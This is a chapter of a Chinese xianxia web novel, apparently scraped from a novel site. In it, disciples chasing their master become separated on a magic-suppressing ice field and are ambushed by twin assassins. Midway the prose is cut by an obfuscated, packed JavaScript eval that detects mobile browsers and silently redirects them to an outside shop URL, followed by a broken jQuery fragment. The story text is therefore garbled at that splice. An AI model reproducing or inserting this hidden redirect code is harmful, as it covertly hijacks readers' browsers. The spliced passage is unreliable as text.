文趣网 > 其他小说 > 师尊何故如此 > 53. 荒渊菜人(三)
    是魔?是妖?还是修士?

    君红笺打量着眼前紫衣姑娘,放出灵识探知她,却难以判断来者究竟是哪一类。非人非魔非妖,像是个空壳子里强塞进了魂。她笑声清脆,甚至于太过清脆显得有些刺耳,似乎是与雁南归早就相识一般,久别重逢地向他问候:“雁南归,你怎么还没有死呢?”

    莫不是,情债??

    君红笺的视线在雁南归与紫衣姑娘之间来回打转,还是没忍住轻扯雁南归衣袖,问他:“师尊,你的故人?”

    雁南归道:“不认识。”

    “真叫人伤心。”紫衣姑娘掩面佯装失意,露出的双眸中却尽是狡黠,“初次见面便如此冷淡。”

    君红笺:“?”

    君红笺:“初见?那你装什么?”

    搞得像见了负心汉一般。

    紫衣姑娘道:“主人叮嘱过,见到仙君要记得恭敬些。你瞧,我这不是恭恭敬敬的请你去死吗?”

    君红笺了然:“哦~原来是谢游的爪牙。”

    “谢游?”曲染叶尚且没听明白:“谁是谢游?”

    君红笺介绍道:“谢游嘛,又名游道人,是个自以为窥见天机,妄想搅弄风云的蠢材。”

    紫衣姑娘笑中多了几分狠戾,她道:“说话有些难听了。”

    黄沙漫天中,她骤然出手,四周狂风凝滞,随着紫衣姑娘抬手时一股森寒气息猛地袭向君红笺。雁南归挡在前头,凭空捻起弓弦聚起灵气,鸦青尾羽的灵箭随即射出。两股气相撞之时,来自紫衣姑娘的那股力量竟隐隐站了上风,雁南归额角渗出了汗。

    眼看那一击就要撕破灵箭冲向众人,雁南归腰间长剑铮然出鞘,一把无锋无芒的古朴玄铁剑顷刻横在身前。

    无极司的剑诀当属雁南归最为精通,他挥舞着本命剑,剑势舒展剑意凛冽,一道剑气拦住了紫衣姑娘层层叠叠的连番攻击。再看雁南归,握剑的手肉眼可见的颤抖不休,世人不知,白玉京的肃止长老如今竟连自己的本命剑都险些驾驭不住,只一击便几乎力竭。

    君红笺在身后看的真切,也看的震惊。

    雁南归的本命剑,她是知道的。传闻中的灵剑不濯,不该是如今这副样子。

    虽不曾亲眼见过,但无论是白玉京内口口相传,还是众多书卷中记录在册,无一不称赞不濯剑的剑光是如何澄澈明亮,它该是通体银白,温润坚韧,绝不是如今这样与寻常铁剑别无二致。

    甚至雁南归也不该是如此。

    白玉京从前的魁首,剑道上绝不会逊色旁人,何至于连自己的本命剑都难以驾驭。

    细想起来,两世之内君红笺从未见过雁南归出剑。原以为是敌手羸弱不必出剑,如今再看,是雁南归不到迫不得已不能出剑,只一剑便能叫人看出,无往不利的肃止长老竟是徒有虚名。

    身后,裴松鹤也倍感意外,“肃止长老的剑......”

    有古怪。

    君红笺在心中替裴松鹤补完了后半句话。

    雁南归握着那把毫无灵气波动的不濯剑,几乎将所有力气都用在了遏制不濯剑上。

    同为剑修,君红笺低头看着自己手中的踏霜剑,心中隐有猜测。

    雁南归的不濯剑,不认可他的剑心。

    剑修的剑能到何种境界,一是取决于剑修的修为,二是取决于剑本身的潜力,三是取决于剑与剑修的契合度。亦如莲雾的符箓,因寻枉认可她,同一张符出自莲雾的那张总是要强于出自旁人所画的,这是符灵给予符修的助力。同样,剑修亦是如此。君红笺的踏霜剑在旁人手中必然不能发挥出其全部的实力,反过来,君红笺使用旁人的剑也必定不会得心应手。

    而如今雁南归的不濯剑,已经不是用着不顺手的程度了。他的剑厌弃了他,无时无刻不在排斥他的使用。

    因而眼下,雁南归与紫衣姑娘的对战,全然是凭借着自身修为在拼力。

    由此君红笺不得不感叹一句,雁南归修为实在是高深,如此之下也能将紫衣姑娘打得节节败退。

    紫衣姑娘边战边退,还不忘嘲讽一句:“真要说一句传言不可信,是谁说你雁南归剑道之上没有敌手?我看是不过如此吧。”

    两人越打越远,君红笺顿感不妙。

    紫衣姑娘的招式看似层层叠叠,招招都往命门处进攻,实则她的每一步都是在牵引着雁南归往前,招招都在无形拉扯掣肘。要么雁南归将她击败,要么她当着雁南归的面拿下他身后这几个弟子,逼得雁南归不得不穷追不舍。

    君红笺凛然道:“我们跟上去。”

    两人打得难分难舍,四人紧跟在其后,从黄沙漫漫一路追到了气温骤降。

    脚下黄沙成了晃眼的冰川,竟不知这荒渊之中,干涸沙地的边缘连接着一望无际的冰川。

    再抬眼时,雁南归与紫衣姑娘已然不见踪影。

    环境变化也好,局势变化也罢,几人慌忙挺住脚步环顾四周,心头涌上一股莫名的寒意,实在是诡异至极。

    “人呢?”曲染叶道:“明明一直跟着,怎么一眨眼不见了?”

    君红笺没应话,看着冰川之下水波荡漾,粼粼光照下,只剩下四人面面相觑。

    “怎么办?”曲染叶焦急道:“我们要在这里等着吗?”

    “不能等。”君红笺道:“此地不宜久留,尽早离开。”

    “那肃止长老呢?”

    君红笺起手掐诀,弯腰在冰面上画上千里同栖的阵法,打算将雁南归传过来后立即离开。

    画好了阵,却是毫无反应。

    君红笺强迫自己静下心神,又试一次,却还是徒劳。

    她道:“你们的灵气,还能用吗?”

    一句话激得三人汗毛耸立,纷纷抬手掐诀调转灵力,皆是无效。

    “这怎么回事!”曲染叶彻底慌了:“这到底是什么地方。”

    江照棠沉吟片刻,缓缓道:“或许是这里被人下了禁制,如此地者皆会这样,无论是灵力、妖力、魔力还是其他任何,都不可用。”

    曲染叶尖声道:“那不是完蛋了!”

    君红笺抬眼看向前方:“还有更完蛋的。”

    本该与雁南归一同消失的紫衣姑娘,竟去而复返出现在四人面前。

    “她怎么......

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588643|204642||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”裴松鹤蹙眉:“肃止长老呢?”

    “不是她。”君红笺盯着紫衣姑娘锁骨间的图案,不再是似花纹更似字样的“书”,而是一个“画”字。她沉声道:“是另一个人。”

    很显然,他们这一行人被有意拆分了。

    眼前紫衣姑娘施施然弯腰见礼,柔声道:“妾名玉枕画,受主人派遣,来取你们性命。”

    很显然,这位紫衣姑娘比先前那一位有礼貌多了。

    那一位开口是“你怎么还不死”,而这一位就客气很多,话里话外是“请你们去死”。

    君红笺咋舌感叹:“果真是双生子。”

    “见笑了。”玉枕画道:“妹妹性子急躁了些,但我们的目的是一样的。”

    君红笺笑道:“说来听听。”

    玉枕画道:“她杀雁南归,我杀你们。”

    “那你不如你妹妹。”君红笺不动声色在芥子袋中翻找着什么,“她起码还是堂堂正正与我师尊较量比试,哪像你要在这里趁人之危。”

    玉枕画点头,隐约有些理直气壮:“主人说你颇为狡诈,故而妾不得不如此。”

    “狡诈这个词我不喜欢。”君红笺道:“一般旁人说我都说我轻狂自傲,凭什么在你嘴里我就是狡诈?”

    “凭......”玉枕画指着君红笺的手:“凭你现在就在做些小动作。”

    “小动作?”君红笺很是无辜,从芥子袋里掏出几个灵果:“我只是有些饿了,你要吃吗?”

    “......”玉枕画道:“不了,还是请你们早点去死吧。”

    “好说。”君红笺嬉笑着转身给三人分起了灵果,冲他们飞快眨了下眼,又道:“那也得先吃饱吧,总不能做个饿死鬼。看你长得就比你妹妹心善,一定能满足我们死前的这点小小心愿。”

    玉枕画:“......自然。”

    被带了高帽的玉枕画果然是等到了四人或悠闲或愁苦或半信半疑地嚼完了灵果,才挥袖攻击这四个手无缚鸡之力的仙门弟子。

    不过转瞬间,甚至来不及看清玉枕画是如何出手,四人便已胸口受到重击。

    四肢无力,丹田内灵气枯竭,直至两眼一翻昏倒在地。

    寒风凛冽,席卷之后是无尽的寂静。

    玉枕画提步走向冰面上横七竖八瘫倒的四人,依次拎起衣领将几人扯到一堆,在最后走向君红笺时,她忽然顿住了。

    原本沉寂的冰面之下,忽然有一抹看不清的虚影掠过,激起波涛暗涌,直至地动山摇。

    玉枕画面露惊慌,四下找寻却不见来人。

    君红笺筋脉尽断,趴在冰面上,连呼吸都甚感疲惫。冰面剧烈震动下,她被晃得愈发头晕眼花,蹙紧眉头艰难睁眼,就这么意料之外的,与一双金黄色的眼眸隔着冰面对视。

    “你......”

    不是人......

    君红笺动弹不得,只得硬着头皮仔细观察。

    也没有灵气......

    到底是个什么东西?

    “君红笺。”那双眼睛盯着她,不知从哪里传来声音:“你认命了吗?”